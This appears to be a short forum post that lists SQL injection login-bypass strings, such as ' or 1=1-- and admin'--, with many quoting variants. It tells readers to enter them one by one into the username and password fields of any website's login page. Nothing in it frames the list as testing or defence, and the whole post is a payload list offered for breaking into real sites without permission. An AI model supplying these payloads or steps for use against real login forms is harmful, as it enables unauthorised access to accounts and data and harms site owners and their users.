SQL Injection Strings

Hey guys,
These are the SQL Injection Strings!
Using them are very simple and very easy!
just go to a login page of a website and start putting these one by one in both the username and password field!

Username:' or 1=1--
Password:' or 1=1--

Or also some sites will have just a password so

password:' or 1=1--

This one is the most commonly used! Others are here =>

1'or'1'='1

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

' or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a